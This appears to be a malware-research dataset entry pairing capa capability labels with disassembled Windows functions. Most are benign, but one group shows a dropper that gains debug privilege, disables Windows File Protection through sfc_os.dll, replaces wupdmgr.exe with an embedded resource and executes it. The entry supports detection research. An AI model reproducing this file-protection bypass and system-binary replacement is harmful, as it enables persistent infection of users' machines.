joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405c83
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, 0x4345c0
call fcn.004339e0
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
call fcn.00407553
mov esi, dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ebx, eax
cmp ebx, 1
je 0x405caf
push edi
call esi
cmp eax, 0xffffffff
jne 0x405cf1
test ebx, ebx
je 0x405cee
lea ecx, [ebp - 0x18]
call fcn.004028e9
and dword [ebp - 4], 0
cmp ebx, 1
setne al
push eax
lea edx, [ebp - 0x18]
mov ecx, edi
call fcn.0040765c
test al, al
push dword [ebp - 0x18]
je 0x405ce8
call esi
mov esi, eax
push dword [ebp - 0x18]
call fcn.00401abd
pop ecx
mov eax, esi
jmp 0x405cf1
call fcn.00401abd
pop ecx
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x406306
Capabilities:
Get disk information

Disassembly:
mov eax, 0x434664
call fcn.004339e0
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
call fcn.0041c900
mov edi, dword [sym.imp.kernel32.dll_GetLogicalDriveStringsW]
push 0
push 0
call edi
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x14], ebx
je 0x4063d4
mov eax, SysReAllocString
cmp ebx, eax
ja 0x406342
mov eax, ebx
add eax, eax
push eax
call fcn.0040b97d
mov esi, eax
pop ecx
mov dword [ebp - 0x20], esi
and dword [ebp - 4], 0
push esi
push ebx
call edi
mov ebx, eax
xor edi, edi
cmp ebx, edi
mov dword [ebp - 0x10], ebx
je 0x4063cd
cmp ebx, dword [ebp - 0x14]
ja 0x4063cd
lea ecx, [ebp - 0x2c]
call fcn.004028e9
test ebx, ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x14], edi
jbe 0x4063b5
push 2
xor eax, eax
pop ebx
cmp word [esi + ebx - 2], 0
jne 0x4063aa
add eax, esi
lea ecx, [ebp - 0x2c]
push eax
call fcn.0040b97d
mov ecx, dword [ebp - 0x18]
lea eax, [edi + 1]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x1c], ebx
call fcn.0040150c
mov eax, ebx
inc edi
inc ebx
inc ebx
cmp edi, dword [ebp - 0x10]
jb 0x406380
mov ebx, dword [ebp - 0x10]
push dword [ebp - 0x2c]
call fcn.00401abd
push esi
call fcn.00401abd
cmp dword [ebp - 0x14], ebx
pop ecx
pop ecx
sete al
jmp 0x4063d6
push esi
call fcn.00401abd
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x401174
Capabilities:
Acquire debug privileges
Bypass windows file protection
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push str.SeDebugPrivilege
call fcn.004010fc
test eax, eax
je 0x4011a1
xor eax, eax
jmp 0x4011f8
push 2
push str.sfc_os.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x403120], eax
mov eax, dword [ebp + 8]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4011d8
xor eax, eax
jmp 0x4011f8
push 0
push 0
push 0
mov ecx, dword [0x403120]
push ecx
push 0
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x4011fc
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
push edi
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x124], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x238], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x120], 0
mov byte [ebp - 0x11c], 0
mov ecx, 0x43
xor eax, eax
lea edi, [ebp - 0x11b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov byte [ebp - 0x234], 0
mov ecx, 0x43
xor eax, eax
lea edi, [ebp - 0x233]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
push 0x10e
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x40304c
lea ecx, [ebp - 0x11c]
push ecx
push 0x403064
push 0x10e
lea edx, [ebp - 0x234]
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0xc], eax
push 0x40306c
push str.101
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x124], eax
mov ecx, dword [ebp - 0x124]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x124]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x120], eax
push 0
push 0
push 2
push 0
push 1
push 0x40000000
lea edx, [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x238], eax
push 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 0x120]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x238]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
lea edx, [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x401350
Capabilities:
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x145c
call fcn.004015a0
push edi
mov dword [ebp - 0x114], 0
mov byte [ebp - 0x110], 0
mov ecx, 0x43
xor eax, eax
lea edi, [ebp - 0x10f]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov byte [ebp - 0x224], 0
mov ecx, 0x43
xor eax, eax
lea edi, [ebp - 0x223]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov dword [ebp - 0x1234], 0
mov dword [ebp - 0x122c], 0
push str.EnumProcessModules
push 0x40308c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40312c], eax
push str.GetModuleBaseNameA
push 0x4030ac
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x403128], eax
push str.EnumProcesses
push str.psapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x403124], eax
cmp dword [0x403124], 0
je 0x401419
cmp dword [0x403128], 0
je 0x401419
cmp dword [0x40312c], 0
jne 0x401423
mov eax, 1
jmp 0x401598
lea eax, [ebp - 0x1228]
push eax
push 0x1000
lea ecx, [ebp - 0x1224]
push ecx
call dword [0x403124]
test eax, eax
jne 0x40144a
mov eax, 1
jmp 0x401598
mov edx, dword [ebp - 0x1228]
shr edx, 2
mov dword [ebp - 0x145c], edx
mov dword [ebp - 0x1238], 0
jmp 0x401474
mov eax, dword [ebp - 0x1238]
add eax, 1
mov dword [ebp - 0x1238], eax
mov ecx, dword [ebp - 0x145c]
add ecx, 1
cmp dword [ebp - 0x1238], ecx
jae 0x4014d1
mov edx, dword [ebp - 0x1238]
cmp dword [ebp + edx*4 - 0x1224], 0
je 0x4014cf
mov eax, dword [ebp - 0x1238]
mov ecx, dword [ebp + eax*4 - 0x1224]
push ecx
call section..text
add esp, 4
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
je 0x4014cf
mov edx, dword [ebp - 0x1238]
mov eax, dword [ebp + edx*4 - 0x1224]
mov dword [ebp - 0x1234], eax
jmp 0x4014d1
jmp 0x401465
cmp dword [ebp - 0x1234], 0
jne 0x4014e4
mov eax, 1
jmp 0x401598
mov ecx, dword [ebp - 0x1234]
push ecx
call fcn.00401174
add esp, 4
mov dword [ebp - 0x1230], eax
cmp dword [ebp - 0x1230], 0
je 0x401593
push 0x10e
lea edx, [ebp - 0x224]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str._system32wupdmgr.exe
lea eax, [ebp - 0x224]
push eax
push 0x4030ec
push 0x10e
lea ecx, [ebp - 0x1458]
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
lea edx, [ebp - 0x110]
push edx
push 0x10e
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x4030f4
lea eax, [ebp - 0x110]
push eax
push 0x403100
push 0x10e
lea ecx, [ebp - 0x1348]
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
lea edx, [ebp - 0x1348]
push edx
lea eax, [ebp - 0x1458]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
call fcn.004011fc
xor eax, eax
jmp 0x401598
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4015cf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402098
push 0x401710
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x403140], 0xffffffff
or dword [0x403144], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x40313c]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x403138]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x403148], eax
call fcn.00401701
cmp dword [0x403110], 0
jne 0x401652
push 0x4016fe
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.004016ec
push 0x40300c
push 0x403008
call sub.MSVCRT.dll__initterm
mov eax, dword [0x403134]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x403130]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x403004
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.00401350
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x10001d30
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1008bdd0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x100b5070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
lea esi, [edi + 4]
mov dword [ebp - 0x30], esi
test esi, esi
je 0x10001d74
mov eax, dword [esi]
test eax, eax
je 0x10001d74
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebp - 4], 0
cmp byte [edi + 0x64], 0
jne 0x10001d91
push str.RCDispatcherModule::UnInitialize__
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x10001f01
mov dword [0x100b88a4], 0
mov dword [0x100b88a8], 0
mov eax, dword [edi + 0x68]
test eax, eax
je 0x10001dba
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
mov dword [edi + 0x68], 0
mov eax, dword [edi + 0x6c]
test eax, eax
je 0x10001ef5
push dword [eax + 0x10]
push dword [eax + 0x24]
call dword [sym.imp.USER32.dll_UnregisterClassW]
test eax, eax
jne 0x10001ee1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x100b5a34], 0
mov dword [ebp - 0x2c], eax
je 0x10001ef5
push ecx
mov ecx, 0x100b5a30
call fcn.10006100
mov ecx, dword [0x100b5a34]
cmp byte [ecx + 0x54], 0
je 0x10001ef5
cmp dword [ecx + 0x58], 2
jb 0x10001ef5
mov bl, byte [ecx + 0x5c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
mov byte [ebp - 4], 1
lea eax, [ebp - 0x28]
push dword [ebp - 0x2c]
push 0x100a4624
push eax
call fcn.10012f00
add esp, 0xc
lea eax, [ebp - 0x28]
mov ecx, 0x100b5a30
push 0xc7
push str.RC::RCDispatcherModule::UnregisterObserverWndClass
push str.d:jenkinsworkspacepc_2345softmgr_build_softmgrmain_srcdispatcherframework_rcdispatchermodule.cpp
push eax
push 2
call fcn.10006c60
lea ecx, [ebp - 0x28]
call fcn.10007260
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
test bl, bl
je 0x10001e91
lea eax, [ebp - 0x28]
mov ecx, 0x100b5a30
push eax
call fcn.10007040
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x10001ecb
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10001ec1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001f3e
push edx
push ecx
call fcn.100419a9
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
jmp 0x10001ef5
push 0x28
push dword [edi + 0x6c]
call fcn.100419a9
add esp, 8
mov dword [edi + 0x6c], 0
lea ecx, [edi + 8]
call fcn.100045c0
mov byte [edi + 0x64], 0
mov dword [ebp - 4], 0xffffffff
test esi, esi
je 0x10001f20
mov eax, dword [esi]
test eax, eax
je 0x10001f19
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [ebp - 0x30], 0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10041566
mov esp, ebp
pop ebp
ret
call fcn.1004e0a8
int3
Function at 0x10007040
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1008ca60
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x100b5070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [edi + 4]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
test esi, esi
je 0x100071af
cmp byte [esi + 0x54], 0
je 0x100071af
add esi, 0x1c
xor bl, bl
mov dword [ebp - 0x34], esi
mov byte [ebp - 0x30], bl
test esi, esi
je 0x100070be
mov eax, dword [esi]
test eax, eax
je 0x100070bb
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x100070b5
cmp eax, 0x80
je 0x100070b5
xor bl, bl
jmp 0x100070bb
mov byte [esi + 4], 1
mov bl, 1
mov byte [ebp - 0x30], bl
mov dword [ebp - 4], 0
mov eax, dword [edi + 4]
cmp dword [eax + 0x14], 8
jb 0x100070d0
mov eax, dword [eax]
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x10007181
mov edx, dword [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x28]
call fcn.1001f150
add esp, 4
push 2
push 0
push 0
push edi
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x38]
push 0
push ecx
push dword [ebp - 0x18]
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x1000716b
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10007161
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100071cd
push edx
push ecx
call fcn.100419a9
add esp, 8
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
mov byte [ebp - 4], 0
mov dword [ebp - 4], 7
test esi, esi
je 0x100071a1
test bl, bl
je 0x100071a1
mov eax, dword [esi]
test eax, eax
je 0x1000719d
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov byte [esi + 4], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10041566
mov esp, ebp
pop ebp
ret 4
call fcn.1004e0a8
int3
Function at 0x10015bc0
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1008f168
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x100b5070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edi]
test eax, eax
je 0x10015c06
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi], 0
lea ecx, [ebp - 0x14]
mov word [edi + 4], 0
mov dword [ebp - 0x14], 0
call fcn.10020670
mov dword [ebp - 4], 0
mov esi, dword [ebp - 0x14]
cmp dword [esi], 0
je 0x10015c2f
lea ebx, [esi + 8]
jmp 0x10015c31
xor ebx, ebx
mov ecx, dword [ebp - 0x18]
call fcn.10007250
test al, al
jne 0x10015c47
mov ecx, dword [ebp - 0x18]
call fcn.10007260
jmp 0x10015c49
xor eax, eax
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [edi], eax
test eax, eax
je 0x10015c6a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x10015c6a
mov byte [edi + 5], 1
cmp dword [edi], 0
setne bl
mov dword [ebp - 4], 0xffffffff
mov eax, dword [esi]
test eax, eax
je 0x10015c93
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10015ca8
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [esi + 4], 0
push 0x2c
push esi
call fcn.100419a9
add esp, 8
mov dword [ebp - 0x14], 0
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10041566
mov esp, ebp
pop ebp
ret 4

Function at 0x10018210
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1008fd75
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x100b5070]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 0x1050
call fcn.10041577
mov esi, eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 0
push 0x1050
push 0
push esi
call fcn.100444f0
lea ecx, [esi + 0x44]
mov dword [esi], 0
mov eax, ecx
mov dword [esi + 4], 0
neg eax
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
lea edx, [esi + 0x1044]
mov dword [esi + 0x10], 0
and eax, 3
mov dword [esi + 0x14], 0
add esp, 0x10
mov dword [esi + 0x18], 0
add eax, ecx
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [ebp - 0x14], esi
mov dword [edx], 0
mov dword [esi + 0x1048], 0
mov dword [esi + 0x38], ecx
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], edx
mov byte [ebp - 4], 2
mov dword [esi + 0x104c], 0
mov dword [ebp - 4], 0xffffffff
mov eax, edi
mov dword [edi], esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10019170
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x1001919b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1001a0a0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x100191bd
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x100191bf
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x10019243
jg 0x100191d4
test esi, esi
je 0x10019243
test ecx, ecx
jl 0x1001921d
jg 0x100191de
test eax, eax
je 0x1001921d
cmp edi, ecx
jg 0x100191f2
jl 0x100191e8
cmp esi, eax
jae 0x100191f2
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call fcn.10005d60
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x30]
add edx, ecx
sub esi, ecx
sbb edi, dword [esp + 0x10]
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
jmp 0x10019220
mov edx, dword [ebp + 8]
test edi, edi
jl 0x10019243
jg 0x1001922a
test esi, esi
je 0x10019243
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x10019243
push eax
push esi
push 1
push edx
call fcn.100625ed
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10019260
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
mov edi, ecx
cmp dword [edi + 0x38], 0
je 0x1001928b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1001a180
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [edi + 0x1c]
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x14], eax
test eax, eax
je 0x100192ad
mov eax, dword [edi + 0x2c]
mov eax, dword [eax]
jmp 0x100192af
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test ebx, ebx
jl 0x1001934e
jg 0x100192cc
test esi, esi
je 0x1001934e
test ecx, ecx
jl 0x10019319
jg 0x100192d6
test eax, eax
je 0x10019319
cmp ebx, ecx
jg 0x100192ea
jl 0x100192e0
cmp esi, eax
jae 0x100192ea
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], ebx
push eax
push dword [esp + 0x18]
push dword [ebp + 8]
call fcn.10005d60
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [edi + 0x2c]
add edx, ecx
sub esi, ecx
mov dword [esp + 0xc], edx
sbb ebx, dword [esp + 0x10]
sub dword [eax], ecx
mov eax, dword [edi + 0x1c]
add dword [eax], ecx
jmp 0x10019320
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
test ebx, ebx
jl 0x1001934e
jg 0x1001932a
test esi, esi
je 0x1001934e
cmp dword [edi + 0x4c], 0
je 0x1001934e
mov ecx, edi
call fcn.1001adc0
push dword [edi + 0x4c]
push esi
push 1
push dword [esp + 0x18]
call fcn.10062c42
add esp, 0x10
sub esi, eax
sbb ebx, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
pop edi
pop esi
sbb edx, ebx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100196f0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x30
mov eax, dword [0x100b5070]
xor eax, esp
mov dword [esp + 0x2c], eax
push ebx
mov ebx, dword [esp + 0x38]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x10019720
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.10041566
add esp, 0x30
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x1001975d
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x1001975d
lea ecx, [edi - 1]
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.10041566
add esp, 0x30
ret 4
cmp dword [esi + 0x4c], 0
je 0x10019852
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x10019785
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x100197b9
push dword [esi + 0x4c]
movsx eax, bl
push eax
call fcn.10061ac9
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.10041566
add esp, 0x30
ret 4
lea eax, [esp + 0xc]
mov byte [esp + 0x17], bl
mov edx, dword [ecx]
push eax
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x2b]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x1c]
test eax, eax
js 0x10019852
cmp eax, 1
jle 0x10019821
cmp eax, 3
jne 0x10019852
push dword [esi + 0x4c]
movsx eax, byte [esp + 0x1b]
push eax
call fcn.10061ac9
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.10041566
add esp, 0x30
ret 4
mov edi, dword [esp + 0xc]
lea eax, [esp + 0x18]
sub edi, eax
je 0x10019840
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.100625ed
add esp, 0x10
cmp edi, eax
jne 0x10019852
lea eax, [esp + 0x17]
mov byte [esi + 0x3d], 1
cmp dword [esp + 0x10], eax
jne 0x10019747
mov ecx, dword [esp + 0x38]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10041566
add esp, 0x30
ret 4